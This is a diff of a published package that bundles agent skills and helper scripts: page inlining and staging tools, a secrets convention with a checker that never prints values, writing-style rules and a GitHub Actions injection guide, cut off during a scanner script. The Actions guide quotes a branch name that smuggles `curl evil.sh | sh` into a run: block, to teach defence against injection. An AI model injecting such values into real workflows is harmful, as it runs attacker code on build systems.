@celsoft/coordinator 0.0.0 → 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (131) hide show
  1. package/CHANGELOG.md +11 -0
  2. package/README.md +107 -0
  3. package/THIRD_PARTY_NOTICES.md +2005 -0
  4. package/agents/console.md +20 -0
  5. package/agents/free.md +110 -0
  6. package/build/0-JP6XL6LB.js +17 -0
  7. package/build/1-A52YZWNS.js +17 -0
  8. package/build/2-CLH2NM6F.js +32 -0
  9. package/build/3-4N467IB6.js +45 -0
  10. package/build/4-WL5H4LUW.js +29 -0
  11. package/build/_layout.svelte-KPUSX7LQ.js +27 -0
  12. package/build/_page.svelte-22H56UR6.js +7972 -0
  13. package/build/_page.svelte-CVWUNRQC.js +135 -0
  14. package/build/_page.svelte-LTZXBHMT.js +57 -0
  15. package/build/_server.ts-3KVBYN6P.js +20 -0
  16. package/build/_server.ts-3POPKVEM.js +47 -0
  17. package/build/_server.ts-5735T2V5.js +31 -0
  18. package/build/_server.ts-5VXGNWV2.js +38 -0
  19. package/build/_server.ts-645KP7WP.js +42 -0
  20. package/build/_server.ts-A3AA24Z2.js +28 -0
  21. package/build/_server.ts-CITUOEM6.js +58 -0
  22. package/build/_server.ts-I7HMTPOA.js +25 -0
  23. package/build/_server.ts-M5BQ4LLX.js +30 -0
  24. package/build/_server.ts-OB4O27HF.js +683 -0
  25. package/build/_server.ts-OJT7HE7M.js +15 -0
  26. package/build/_server.ts-OYGWVLZM.js +12 -0
  27. package/build/_server.ts-T75UVMQP.js +38 -0
  28. package/build/_server.ts-WYZYNHUZ.js +28 -0
  29. package/build/_server.ts-Z26EB47B.js +486 -0
  30. package/build/chunk-4CIG53L5.js +33 -0
  31. package/build/chunk-BJTJS3XY.js +338 -0
  32. package/build/chunk-F2CNWJZM.js +14 -0
  33. package/build/chunk-HGYE3UTU.js +416 -0
  34. package/build/chunk-KAYW2W7H.js +1311 -0
  35. package/build/chunk-LFP3UPCM.js +10 -0
  36. package/build/chunk-M44JEFEH.js +62 -0
  37. package/build/chunk-MC5AGLMY.js +39 -0
  38. package/build/chunk-NCZ77J5E.js +19798 -0
  39. package/build/chunk-NVNLDPUJ.js +2122 -0
  40. package/build/chunk-PDCON4KS.js +494 -0
  41. package/build/chunk-Q4OQNY5M.js +25 -0
  42. package/build/chunk-QCUOR2U5.js +75 -0
  43. package/build/chunk-R6RYZZWA.js +46 -0
  44. package/build/chunk-SOJTASZC.js +51 -0
  45. package/build/chunk-SU26PJVX.js +410 -0
  46. package/build/chunk-U5BSBG4R.js +506 -0
  47. package/build/chunk-UEKOZGRO.js +37 -0
  48. package/build/chunk-W6EFUWJ2.js +9 -0
  49. package/build/chunk-WOPREK6Q.js +117 -0
  50. package/build/chunk-WWJ3F4QS.js +127 -0
  51. package/build/chunk-ZGZJEEE3.js +1091 -0
  52. package/build/client/_app/immutable/assets/0.BGa5ZNDM.css +1 -0
  53. package/build/client/_app/immutable/chunks/BUrrLYDt.js +2 -0
  54. package/build/client/_app/immutable/chunks/BgFr_EyZ.js +4 -0
  55. package/build/client/_app/immutable/chunks/Bjy-W4x2.js +82 -0
  56. package/build/client/_app/immutable/chunks/C8qZab0y.js +56 -0
  57. package/build/client/_app/immutable/chunks/C90fLsA5.js +4 -0
  58. package/build/client/_app/immutable/chunks/CRzLMJPS.js +1 -0
  59. package/build/client/_app/immutable/chunks/DLT1iIlz.js +2 -0
  60. package/build/client/_app/immutable/chunks/pIrVVOVY.js +2 -0
  61. package/build/client/_app/immutable/entry/app.0DERehLW.js +3 -0
  62. package/build/client/_app/immutable/entry/payload.DSmR2FwN.js +2 -0
  63. package/build/client/_app/immutable/entry/start.B7srFiqh.js +3 -0
  64. package/build/client/_app/immutable/nodes/0.aD9vJoxR.js +2 -0
  65. package/build/client/_app/immutable/nodes/1.Br4FL91i.js +2 -0
  66. package/build/client/_app/immutable/nodes/2.vl6OYfu3.js +8 -0
  67. package/build/client/_app/immutable/nodes/3.VYqJOLAF.js +2 -0
  68. package/build/client/_app/immutable/nodes/4.jF9UVlFN.js +2 -0
  69. package/build/client/_app/version.json +1 -0
  70. package/build/client/apple-touch-icon.png +0 -0
  71. package/build/client/favicon.ico +0 -0
  72. package/build/client/favicon.svg +48 -0
  73. package/build/client/icon-192.png +0 -0
  74. package/build/client/icon-512.png +0 -0
  75. package/build/client/icon-maskable-512.png +0 -0
  76. package/build/client/icon.svg +44 -0
  77. package/build/client/manifest.webmanifest +15 -0
  78. package/build/error.svelte-JXZDY65F.js +51 -0
  79. package/build/handler.js +716 -0
  80. package/build/hooks.server-34IMHRKC.js +43 -0
  81. package/build/instance-NP3FJIWW.js +2967 -0
  82. package/client/client.mjs +28 -0
  83. package/client/hooks.mjs +7 -0
  84. package/client/register.mjs +5 -0
  85. package/dist/cli.js +62826 -0
  86. package/dist/port.js +36691 -0
  87. package/package.json +20 -1
  88. package/skills/agents/.claude-plugin/plugin.json +5 -0
  89. package/skills/agents/hooks/hooks.json +1 -0
  90. package/skills/agents/hooks/register.ts +57 -0
  91. package/skills/agents/skills/bus-work/SKILL.md +66 -0
  92. package/skills/agents/skills/plan/SKILL.md +98 -0
  93. package/skills/console/.claude-plugin/plugin.json +5 -0
  94. package/skills/console/hooks/hooks.json +1 -0
  95. package/skills/console/hooks/register.ts +10 -0
  96. package/skills/console/skills/bus/SKILL.md +61 -0
  97. package/skills/default/.claude-plugin/plugin.json +5 -0
  98. package/skills/default/skills/git-workflow/SKILL.md +294 -0
  99. package/skills/default/skills/git-workflow/mise-tasks/_lib.sh +107 -0
  100. package/skills/default/skills/git-workflow/mise-tasks/clone +36 -0
  101. package/skills/default/skills/git-workflow/mise-tasks/repo-list +8 -0
  102. package/skills/default/skills/git-workflow/mise-tasks/unpushed +26 -0
  103. package/skills/default/skills/git-workflow/mise-tasks/worktree-add +60 -0
  104. package/skills/default/skills/github/SKILL.md +208 -0
  105. package/skills/default/skills/github/scripts/gh-org +196 -0
  106. package/skills/default/skills/plan-page/SKILL.md +300 -0
  107. package/skills/default/skills/plan-page/assets/index.html +854 -0
  108. package/skills/default/skills/plan-page/scripts/inline +46 -0
  109. package/skills/default/skills/plan-page/scripts/stage +26 -0
  110. package/skills/default/skills/secrets/SKILL.md +134 -0
  111. package/skills/default/skills/secrets/scripts/secrets-check +87 -0
  112. package/skills/default/skills/writing-style/SKILL.md +45 -0
  113. package/skills/extra/.claude-plugin/plugin.json +5 -0
  114. package/skills/extra/skills/artifacts/SKILL.md +52 -0
  115. package/skills/extra/skills/github-actions/SKILL.md +78 -0
  116. package/skills/extra/skills/github-actions/scan +32 -0
  117. package/skills/extra/skills/markdown-review/SKILL.md +70 -0
  118. package/skills/extra/skills/markdown-review/assets/index.html +201 -0
  119. package/skills/extra/skills/markdown-review/scripts/stage +36 -0
  120. package/skills/extra/skills/mise-usage/SKILL.md +155 -0
  121. package/skills/extra/skills/plugin-authoring/SKILL.md +317 -0
  122. package/skills/extra/skills/project-conventions/SKILL.md +64 -0
  123. package/skills/extra/skills/questions/SKILL.md +156 -0
  124. package/skills/extra/skills/questions/assets/index.html +376 -0
  125. package/skills/extra/skills/questions/scripts/stage +26 -0
  126. package/skills/extra/skills/serve/SKILL.md +165 -0
  127. package/skills/extra/skills/serve/scripts/serve +268 -0
  128. package/skills/extra/skills/serve/scripts/server.py +345 -0
  129. package/skills/extra/skills/skill-dependencies/SKILL.md +65 -0
  130. package/skills/extra/skills/skill-maintenance/SKILL.md +101 -0
  131. package/skills/extra/skills/ticketing/SKILL.md +125 -0
@@ -0,0 +1,46 @@
1
+ #!/usr/bin/env python3
2
+ #
3
+ # inline: turn a built page into one self-contained HTML file, a plan's live mockup.
4
+ #
5
+ # Usage: inline <page.html> <out.html>
6
+ # Each <script src> and stylesheet <link> naming a local file (relative to the page, or from the
7
+ # page's folder when it starts with /) is replaced by its contents; remote ones, such as fonts, stay.
8
+
9
+ import re
10
+ import sys
11
+ from pathlib import Path
12
+
13
+ if len(sys.argv) != 3:
14
+ sys.exit("usage: inline <page.html> <out.html>")
15
+
16
+ page = Path(sys.argv[1])
17
+ root = page.parent
18
+
19
+
20
+ def local(ref):
21
+ if re.match(r"^(?:[a-z]+:)?//", ref) or ref.startswith("data:"):
22
+ return None
23
+ path = root / ref.split("?")[0].split("#")[0].lstrip("/")
24
+ return path.read_text() if path.is_file() else None
25
+
26
+
27
+ def script(m):
28
+ body = local(m.group("src"))
29
+ if body is None:
30
+ return m.group(0)
31
+ module = ' type="module"' if re.search(r'type=["\']module["\']', m.group(0)) else ""
32
+ body = body.replace("</script", "<\\/script")
33
+ return f"<script{module}>{body}</script>"
34
+
35
+
36
+ def style(m):
37
+ href = re.search(r'href=["\']([^"\']+)["\']', m.group(0))
38
+ body = href and local(href.group(1))
39
+ return m.group(0) if body is None else f"<style>{body}</style>"
40
+
41
+
42
+ html = page.read_text()
43
+ html = re.sub(r'<script\b[^>]*\bsrc=["\'](?P<src>[^"\']+)["\'][^>]*>\s*</script>', script, html)
44
+ html = re.sub(r'<link\b(?=[^>]*\brel=["\']stylesheet["\'])[^>]*>', style, html)
45
+ Path(sys.argv[2]).write_text(html)
46
+ print(f"MOCKUP: {sys.argv[2]} ({len(html.encode()) // 1024} KB)")
@@ -0,0 +1,26 @@
1
+ #!/usr/bin/env bash
2
+ #
3
+ # stage: prepare the plan page for one plan.
4
+ #
5
+ # Usage: stage <out-dir>
6
+ # Copies the renderer and, when missing, writes an empty plan.json to fill in.
7
+ # Prints the two paths to publish, one per line.
8
+
9
+ set -euo pipefail
10
+
11
+ if [ $# -ne 1 ]; then
12
+ echo "usage: stage <out-dir>" >&2
13
+ exit 2
14
+ fi
15
+
16
+ out=$1
17
+ here=$(cd "$(dirname "$0")/.." && pwd)
18
+
19
+ mkdir -p "$out"
20
+ cp "$here/assets/index.html" "$out/index.html"
21
+ if [ ! -f "$out/plan.json" ]; then
22
+ printf '{\n "title": "",\n "eyebrow": "",\n "sections": []\n}\n' > "$out/plan.json"
23
+ fi
24
+
25
+ echo "PAGE: $out/index.html"
26
+ echo "PLAN: $out/plan.json"
@@ -0,0 +1,134 @@
1
+ ---
2
+ name: secrets
3
+ description: MUST READ before touching any secret, credential, .env file, or API key. Covers the .env / .env.secrets / secrets.tmpl convention, the rules that keep a value out of git and out of the transcript, how to use a secret inside a script, checking a repo's secrets are filled in, and what to do when one is exposed. Knows nothing about any particular secret manager.
4
+ ---
5
+
6
+ # Secrets
7
+
8
+ Secrets live in files, and this skill owns those files. It is deliberately independent of
9
+ any secret manager: everything here works the same whether values were typed in by hand or
10
+ pulled from a vault. A secret manager's own CLI (such as 1Password's `op inject`) can fill the file
11
+ for you, but nothing in this skill requires one.
12
+
13
+ ## Hard rules
14
+
15
+ 1. **Never read a `.env*` file.** Not with `cat`, `Read`, `Bash`, or any tool. It may hold
16
+ live credentials, and reading it pulls them into context where they can be logged or
17
+ cached. This holds even if you expect the file to contain only placeholders.
18
+
19
+ 2. **Never let a secret value reach the transcript.** Stricter than "do not print it", and
20
+ the rule that actually matters for an agent: anything a tool returns becomes part of the
21
+ conversation. So never run a command whose *output* is a secret. A secret is only ever
22
+ touched **inside a script** that consumes it without emitting it, and Claude runs that
23
+ script.
24
+
25
+ 3. **Never commit a secret file.** `.env` and `.env.secrets` are gitignored. Only the
26
+ manifest is committed, and it holds no values.
27
+
28
+ 4. **Never pass a secret as a command-line argument.** It lands in shell history and in
29
+ process lists. Read it from the environment inside a script.
30
+
31
+ 5. **Never print or log a secret value.** No `echo $API_KEY`, not in error messages, not
32
+ into a log file.
33
+
34
+ ## The three files
35
+
36
+ | File | Committed | Readable | Holds |
37
+ | --- | --- | --- | --- |
38
+ | `.env` | no | **no** | non-secret configuration |
39
+ | `.env.secrets` | no | **no** | secret values |
40
+ | `secrets.tmpl` | **yes** | yes | names, and where each value comes from |
41
+
42
+ `.env.example` stays the committed companion to `.env`, documenting non-secret config with
43
+ placeholder values.
44
+
45
+ **`secrets.tmpl` is the one file here that is safe to read**, and it deliberately does not
46
+ start with `.env` so it never trips rule 1. It is a declaration, not a copy-me template for
47
+ a human: each line names an environment variable and says where its value lives.
48
+
49
+ ```
50
+ # What this repo needs.
51
+ GITHUB_TOKEN={{ op://Employee/gh-token/password }}
52
+ STRIPE_KEY={{ op://Employee/stripe-live/password }}
53
+ ```
54
+
55
+ **The reference syntax belongs to whatever resolves it**, not to this skill. The example
56
+ above is 1Password's, where `{{ op://vault/item/field }}` is what `op inject` substitutes
57
+ and a bare `op://...` is copied through untouched, producing a file full of reference text
58
+ and no error. Check the manager's own docs for the exact rules.
59
+
60
+ Naming a **per-user** vault such as `Employee` is what lets one committed manifest serve
61
+ the whole team: every person resolves their own values from the same file, because the
62
+ resolver authenticates as them.
63
+
64
+ Because it is per-repo and committed, a checkout tells you exactly which secrets it needs
65
+ without anyone having to ask, and adding a secret is a reviewable diff.
66
+
67
+ ## Filling `.env.secrets`
68
+
69
+ Two paths, same result. The manifest is the contract; how it gets resolved is not this
70
+ skill's concern.
71
+
72
+ - **By hand.** Copy the names out of `secrets.tmpl` and fill in real values. The references
73
+ act as pointers telling you where to look.
74
+ - **With a resolver.** If the repo's references point at a secret manager you use, a single
75
+ command can materialize the file. For 1Password that is `op inject -i secrets.tmpl -o .env.secrets`.
76
+
77
+ Either way `.env.secrets` must be gitignored **before** it is filled in. That is the one
78
+ mistake here that cannot be undone by editing a file.
79
+
80
+ ## Using secrets
81
+
82
+ `.env.secrets` is **sourced inside the task that needs it**, so the values exist only in
83
+ that process:
84
+
85
+ ```bash
86
+ #!/usr/bin/env zsh
87
+ set -euo pipefail
88
+ source .env.secrets
89
+ curl -H "Authorization: Bearer $GITHUB_TOKEN" ...
90
+ ```
91
+
92
+ **Never autoload it.** Do not add it to mise's `_.file`, and do not put its values in
93
+ `[env]`: both export into every interactive shell and every child process in the repo,
94
+ which is precisely the exposure this file exists to avoid. Autoloading plain `.env` is fine
95
+ because `.env` holds no secrets. See the `mise-usage` skill.
96
+
97
+ **Never build a one-liner that extracts a value**, such as
98
+ `KEY=$(grep KEY .env.secrets | cut -d= -f2) some-command`. That both reads the file and
99
+ risks the value showing up in process state.
100
+
101
+ ## Checking a repo's secrets are filled in
102
+
103
+ Run this skill's `scripts/secrets-check` from the repo root. It compares the names declared
104
+ in `secrets.tmpl` against what is actually in `.env.secrets` and reports one line per name,
105
+ **never a value**:
106
+
107
+ ```
108
+ GITHUB_TOKEN: PRESENT
109
+ STRIPE_KEY: EMPTY
110
+ OLD_TOKEN: EXTRA
111
+ ```
112
+
113
+ - **`PRESENT`** the name has a non-empty value.
114
+ - **`MISSING`** declared but absent. Fill it in.
115
+ - **`EMPTY`** the name is there with no value. Same fix, different cause.
116
+ - **`EXTRA`** present locally but no longer declared. A stale leftover, not a failure.
117
+
118
+ Exit is 0 only when every declared name is `PRESENT`. It also warns when `.env.secrets` is
119
+ not gitignored, and prints `NO_MANIFEST` for a repo that declares no secrets.
120
+
121
+ Use this rather than inspecting the file yourself. It reads `.env.secrets` so that you do
122
+ not have to, which is the whole point.
123
+
124
+ ## If a secret is exposed
125
+
126
+ A secret committed to git, printed in logs, or passed as an argument is compromised:
127
+
128
+ 1. **Rotate it at the source immediately.** Revoke and regenerate it at the service that
129
+ issued it. Removing the commit is not enough: it is in history and may already be cached
130
+ by the forge, CI, or a mirror.
131
+ 2. **Audit access logs** if the service offers them.
132
+ 3. **Update `.env.secrets`** with the new value, and the manifest if the location changed.
133
+
134
+ Never quietly delete the exposed value and move on without rotating.
@@ -0,0 +1,87 @@
1
+ #!/usr/bin/env bash
2
+ #
3
+ # secrets-check: report whether this repo's secrets are filled in, WITHOUT ever
4
+ # printing a value.
5
+ #
6
+ # Compares the key names declared in the committed manifest against what is actually
7
+ # present in .env.secrets. Reads .env.secrets to do it, which is exactly why this is a
8
+ # script: it emits only names and statuses, so nothing secret reaches the caller.
9
+ #
10
+ # Knows nothing about where values come from. Works whether they were pulled from a
11
+ # secret manager or typed in by hand.
12
+ #
13
+ # Usage: secrets-check [<dir>] (defaults to the current directory)
14
+
15
+ set -uo pipefail
16
+
17
+ dir="${1:-.}"
18
+ tmpl="$dir/secrets.tmpl"
19
+ env_secrets="$dir/.env.secrets"
20
+
21
+ err() { printf 'secrets-check: %s\n' "$*" >&2; }
22
+
23
+ # Key names only. Tolerates blank lines, # comments, and an `export ` prefix.
24
+ keys_of() {
25
+ [ -f "$1" ] || return 0
26
+ sed -E 's/^[[:space:]]*export[[:space:]]+//' "$1" \
27
+ | grep -E '^[[:space:]]*[A-Za-z_][A-Za-z0-9_]*=' \
28
+ | sed -E 's/^[[:space:]]*([A-Za-z_][A-Za-z0-9_]*)=.*/\1/'
29
+ }
30
+
31
+ # Is a key's value non-empty? Never prints the value, only a yes/no.
32
+ has_value() {
33
+ [ -f "$env_secrets" ] || return 1
34
+ sed -E 's/^[[:space:]]*export[[:space:]]+//' "$env_secrets" \
35
+ | grep -E "^[[:space:]]*$1=" \
36
+ | tail -1 \
37
+ | sed -E "s/^[[:space:]]*$1=//" \
38
+ | grep -qE '.'
39
+ }
40
+
41
+ if [ ! -f "$tmpl" ]; then
42
+ err "no secrets.tmpl in $dir; this repo declares no secrets."
43
+ echo "NO_MANIFEST"
44
+ exit 0
45
+ fi
46
+
47
+ # Writing real values to a tracked file is the one unrecoverable mistake here.
48
+ if command -v git >/dev/null 2>&1 && git -C "$dir" rev-parse --git-dir >/dev/null 2>&1; then
49
+ if ! git -C "$dir" check-ignore -q .env.secrets 2>/dev/null; then
50
+ err "WARNING: .env.secrets is NOT gitignored in this repo. Add it before filling it in."
51
+ fi
52
+ fi
53
+
54
+ work="$(mktemp -d)"
55
+ trap 'rm -rf "$work"' EXIT
56
+ keys_of "$tmpl" | sort -u > "$work/declared"
57
+
58
+ if [ ! -s "$work/declared" ]; then
59
+ err "secrets.tmpl declares no keys."
60
+ echo "NO_KEYS"
61
+ exit 0
62
+ fi
63
+
64
+ rc=0
65
+ while IFS= read -r k; do
66
+ [ -n "$k" ] || continue
67
+ if has_value "$k"; then
68
+ printf '%s: PRESENT\n' "$k"
69
+ elif [ -f "$env_secrets" ] && keys_of "$env_secrets" | grep -qx "$k"; then
70
+ printf '%s: EMPTY\n' "$k"
71
+ rc=1
72
+ else
73
+ printf '%s: MISSING\n' "$k"
74
+ rc=1
75
+ fi
76
+ done < "$work/declared"
77
+
78
+ # Keys present locally but no longer declared: stale leftovers, not a failure.
79
+ if [ -f "$env_secrets" ]; then
80
+ keys_of "$env_secrets" | sort -u > "$work/present"
81
+ while IFS= read -r k; do
82
+ [ -n "$k" ] || continue
83
+ printf '%s: EXTRA\n' "$k"
84
+ done < <(comm -13 "$work/declared" "$work/present")
85
+ fi
86
+
87
+ exit "$rc"
@@ -0,0 +1,45 @@
1
+ ---
2
+ name: writing-style
3
+ description: "Baseline writing style rules for anything Claude writes for a human to read: chat responses, plans, Jira tickets and comments, PR descriptions and comments, docs, anywhere. This is the minimum floor; a more specific skill (a commenting skill, a Jira-content skill, a docs skill) may layer additional rules for its own content type, but never contradict this one. Read this before writing any nontrivial prose, and defer to the more specific skill's rules where one applies."
4
+ verified: 2026-07-26
5
+ ---
6
+
7
+ # Writing Style
8
+
9
+ The baseline that every piece of written output follows, regardless of where it ends up. More specific skills add rules on top of this for their own content type (tone, markdown-vs-plain-text, required sections, and the like): they never restate or override what's here. If a specific skill's rule conflicts with this one, the specific skill is wrong and needs fixing, not this baseline.
10
+
11
+ ## No em-dashes, ever
12
+
13
+ Never use an em-dash, in any content, anywhere. This is absolute: there is no situation where one is acceptable. Use a colon, a semicolon, a comma, or reword the sentence instead. Do not reach for an ellipsis as a substitute either; if a specific context wants to allow ellipses for other reasons, that is its own rule to state, not a workaround for this one.
14
+
15
+ Never use an en-dash as a sentence separator either: the same substitutes apply.
16
+
17
+ ## Layer from the whole to the parts
18
+
19
+ Open with the shape of the whole before any detail. Never lead with an implementation detail, an edge case, or a mechanism before the reader has something to hang it on: state what the thing is or does first, then narrow into the parts.
20
+
21
+ ## Say it in as few words as possible
22
+
23
+ Cut filler, hedging, throat-clearing, and restating context the reader already has. Prefer short declarative sentences. Drop adjectives and adverbs that don't change the meaning.
24
+
25
+ ## Prefer lists, led by a bold mnemonic
26
+
27
+ Break content into a list whenever the structure allows one: never a paragraph where a list will do. Lead each item with a short **bold mnemonic**, a label that anchors the point in memory, then the detail.
28
+
29
+ ## Comparing a real process to a substitute
30
+
31
+ When describing a real-world flow next to what a test, mock, or substitute does at each step, use one interleaved list, not two parallel lists. Each line: the real step in plain words, a colon, then what the substitute does at that same point, also in plain words, never compressed noun-stacking (bad: "Dealroom link survey"; good: "A user links a CoStar survey to a deal in Dealroom"). Put the end result as the last bullet of that same list, not a separate paragraph after it. Give any caveat, what it doesn't cover, a manual fallback, exactly one line.
32
+
33
+ ## Write for the reader in front of you
34
+
35
+ Don't restate what the reader can already see (a ticket number they're looking at, a file they just opened, a diff they already have). Say the new information first.
36
+
37
+ ## Chat replies default to short
38
+
39
+ This rule binds every reply in conversation, not only documents, tickets, and PRs: a chat reply is not a report. Default to a few lines; only go longer when the content itself demands it (a plan, a requested deep-dive, a multi-part answer to a multi-part question).
40
+
41
+ - **Answer first, stop after.** Give the result before anything else, and don't tack on unrequested caveats, alternatives, or background.
42
+ - **No preamble, no wrap-up.** Skip "I'll now...", "Let me...", "To summarize...", "In conclusion...". State the thing directly; don't narrate approaching or leaving it.
43
+ - **One point, one pass.** Don't restate the same conclusion in different words or say a thing and then re-explain it.
44
+ - **Long only when asked.** Length follows an explicit ask (a plan, a "walk me through it", a request for detail): never write more because the topic feels important.
45
+ - **Complexity isn't a length exemption.** A technical or architectural topic doesn't justify longer output by default, compress it the same as anything else. If real length is warranted, put it in a file and keep the chat reply to a pointer plus the takeaway.
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "coordinator-extra",
3
+ "version": "1.0.0",
4
+ "description": "Extra Skills: shipped with the coordinator as a bonus, used by an agent only when the user chooses them in a profile."
5
+ }
@@ -0,0 +1,52 @@
1
+ ---
2
+ name: artifacts
3
+ description: "MUST READ before adding any notes, comments, feedback, annotation or review UI to a Claude artifact, and whenever the user asks how to comment on, annotate, mark up or leave notes on one. Artifacts already have a built-in comment system; this skill stops a second one being built. Layers on top of the bundled artifact-design and artifact-capabilities skills and never contradicts them."
4
+ verified: 2026-09-29
5
+ ---
6
+
7
+ # Artifacts
8
+
9
+ A narrow rule layered on the bundled `artifact-design` and `artifact-capabilities` skills. Those
10
+ own how a page is designed and what capabilities it may declare. This owns one thing they leave
11
+ out.
12
+
13
+ ## Never build a comment system into an artifact
14
+
15
+ **Artifacts already have one.** A reader selects text on the published page, leaves a comment
16
+ anchored to that selection, and Claude reads, replies to and resolves the threads with the
17
+ `ArtifactComments` tool.
18
+
19
+ So do not build, and do not offer to build:
20
+
21
+ - a notes or annotation UI, per section or otherwise
22
+ - a feedback, review or suggestion form
23
+ - a comment box backed by the `db` capability
24
+ - a "leave a note" control of any other shape
25
+
26
+ This holds **even when the request names artifact data or the `db` capability outright**. The ask
27
+ behind those words is almost always "let me leave notes on this," which the built-in system
28
+ already answers. Say so before writing any code, and let the user choose.
29
+
30
+ ## What to say instead
31
+
32
+ When the user asks how to comment on an artifact:
33
+
34
+ - **Select the text on the page and comment on it.** The comment anchors to that exact sentence,
35
+ not to a section you had to invent an id for.
36
+ - **Send the thread to Claude** (reply on it with Send to Claude, or mention `@claude` in it). A
37
+ thread that has not been activated cannot be replied to or resolved, and a plain comment never
38
+ wakes the session.
39
+ - **Claude reads them with `ArtifactComments`**, action `read`, and answers each thread in place.
40
+
41
+ ## The general rule behind it
42
+
43
+ **Before declaring a capability to give a page a behaviour, check whether the viewer shell already
44
+ provides that behaviour.** A capability is for what the shell does not do. Reaching for one to
45
+ rebuild something the platform ships costs a declaration, a subscription, error handling and a
46
+ verification pass, and lands somewhere worse than the original.
47
+
48
+ **Why this skill exists:** a request to leave notes on a plan produced a per-section notes UI on
49
+ the `db` capability, when selection-anchored comments already did the job better and cost nothing.
50
+ It was stripped the same session. The bundled `artifact-capabilities` skill points at `db` for
51
+ "data Claude reads later" and never mentions that comments exist, so the wrong path reads as the
52
+ documented one.
@@ -0,0 +1,78 @@
1
+ ---
2
+ name: github-actions
3
+ description: "Writing or editing GitHub Actions workflows and composite actions: the expression-interpolation rule (never `${{ }}` inside `run:`), how values must cross into a script as data, and how to scan a repo for violations. Read before adding or changing any workflow, action.yml, or `run:` block."
4
+ verified: 2026-08-13
5
+ ---
6
+
7
+ # GitHub Actions: values cross as data, never as text
8
+
9
+ **Never put `${{ }}` inside a `run:` block.** Pass the value through `env:` and reference it as a quoted shell variable. This is a mechanical rule with no per-value judgment call: it holds for `github.*`, `inputs.*`, `steps.*.outputs.*`, `vars.*`, everything.
10
+
11
+ ```yaml
12
+ # WRONG: the value becomes part of the program
13
+ - run: |
14
+ if [[ "${{ github.ref }}" == "refs/heads/main" ]]; then ...
15
+
16
+ # RIGHT: the value arrives as data
17
+ - env:
18
+ GIT_REF: ${{ github.ref }}
19
+ run: |
20
+ if [[ "$GIT_REF" == "refs/heads/main" ]]; then ...
21
+ ```
22
+
23
+ ## Why the rule is mechanical
24
+
25
+ The expression engine resolves `${{ }}` by **substituting text into the workflow file**, before the runner writes the `run:` block to a script and hands it to the shell. So a `run:` block is code generation, and every other field is a data slot. A branch named `x"; curl evil.sh | sh; :; "` doesn't produce a wrong comparison, it produces a different program.
26
+
27
+ That is also why the value can't be purified in the script: any validation written in bash executes *after* the substitution, so the script is already corrupted by the time the guard would run. Validation would have to happen in the expression engine, which has no regex, and whose result you'd then have to splice in anyway.
28
+
29
+ Two more reasons not to reason per-value:
30
+
31
+ - **Escaping is context-dependent.** The correct escape differs inside double quotes, single quotes, a heredoc, backticks. One value used twice needs two treatments. `env:` has one form that's right everywhere.
32
+ - **"Safe today" decays.** "Inert because every caller hardcodes it" is a fact about today's callers, not about the code. It's also invisible to the next person, who can't tell which splices were audited.
33
+
34
+ ## Where interpolation is fine
35
+
36
+ | Field | Safe? | Why |
37
+ |---|---|---|
38
+ | `run:` | **No** | Substituted into the script's source text |
39
+ | `if:` | Yes | Evaluated by the expression engine as a value |
40
+ | `env:` | Yes | Value goes into the process environment |
41
+ | `with:` | At the boundary | Passed as an input value, but see below |
42
+ | `outputs:`, `name:` | Yes | Never parsed as code |
43
+
44
+ **`with:` is only as safe as the action behind it.** Passing a value into a composite action's input is a data slot, but if that action's own `run:` splices `${{ inputs.x }}`, the flaw has just moved inside the action. Apply this rule to `action.yml` files as strictly as to workflows.
45
+
46
+ ## The same rule one level down
47
+
48
+ A shell variable is still data until something re-parses it. Inside the script:
49
+
50
+ - **JSON:** build it with `jq -n --arg name "$VALUE"`, never by concatenating into a quoted body.
51
+ - **Subprocesses:** pass argument lists (`subprocess.run([...])`, `"$@"`), never a string a shell will re-split.
52
+ - **`jq` filters:** the value goes in `--arg`, never into the filter text.
53
+ - **Never `eval`**, and never build a command string to run later.
54
+ - **`GITHUB_ENV` / `GITHUB_OUTPUT`:** a multi-line or attacker-influenced value needs the heredoc form with a random delimiter, or it can forge additional variables:
55
+
56
+ ```bash
57
+ {
58
+ echo "result<<__EOF_$RANDOM"
59
+ echo "$VALUE"
60
+ echo "__EOF_$RANDOM"
61
+ } >> "$GITHUB_OUTPUT"
62
+ ```
63
+
64
+ (Use one delimiter value, computed once, in both places.)
65
+
66
+ ## Which values actually carry attacker text
67
+
68
+ The rule applies regardless, but this is what makes it more than theory. User-authored, reaching the workflow verbatim: `github.event.*` (PR title, body, commit message, author name), `github.head_ref`, `github.ref` and `github.ref_name` (branch names may contain `"`, `` ` ``, `$`, `;`). Not user-authored: `github.sha`, `github.run_id`, `github.repository`.
69
+
70
+ ## Verify with a scanner, not by reading
71
+
72
+ ```
73
+ mise run "<this skill's dir>/scan" [path] [--injection-only]
74
+ ```
75
+
76
+ Defaults to scanning `.github`. `--injection-only` reports just the interpolation sites, one per line as `file:line`, which is the list to work through; without it you get zizmor's full output (unpinned actions, excessive permissions, credential persistence). If `mise` is missing, react per the `skill-dependencies` skill.
77
+
78
+ Expect a mature repo to report dozens of existing sites. That's a backlog, not a blocker: fix the block you're touching, and raise the rest as its own piece of work rather than expanding the change in front of you.
@@ -0,0 +1,32 @@
1
+ #!/usr/bin/env zsh
2
+ #MISE description="Scan GitHub Actions workflows for expression-injection and other zizmor findings"
3
+ #MISE tools={zizmor="latest", jq="latest"}
4
+ #USAGE arg "[path]" help="File or directory to scan" default=".github"
5
+ #USAGE flag "--injection-only" help="Report only template-injection sites, as file:line"
6
+ set -euo pipefail
7
+
8
+ PATH_TO_SCAN="$usage_path"
9
+
10
+ if [[ "${usage_injection_only:-false}" != "true" ]]; then
11
+ # zizmor exits non-zero when it finds anything, which is not a failure of the scan itself.
12
+ zizmor --persona=regular "$PATH_TO_SCAN" || true
13
+ exit 0
14
+ fi
15
+
16
+ # zizmor exits non-zero whenever it reports anything, so its status can't flow into the pipeline.
17
+ FINDINGS="$(zizmor --persona=regular --format=json "$PATH_TO_SCAN" 2>/dev/null || true)"
18
+
19
+ # One finding covers one expression, but carries several locations: the step, the run block, and
20
+ # the expression itself (kind "Primary"). Only the last one is worth reporting. Rows are 0-indexed.
21
+ print -r -- "$FINDINGS" \
22
+ | jq -r '
23
+ .[]
24
+ | select(.ident == "template-injection")
25
+ | .locations[0].symbolic.key.Local.verbatim_path as $path
26
+ | ( .locations[]
27
+ | select(.symbolic.kind == "Primary")
28
+ | .concrete.location.start_point.row + 1
29
+ ) as $line
30
+ | "\($path):\($line)"
31
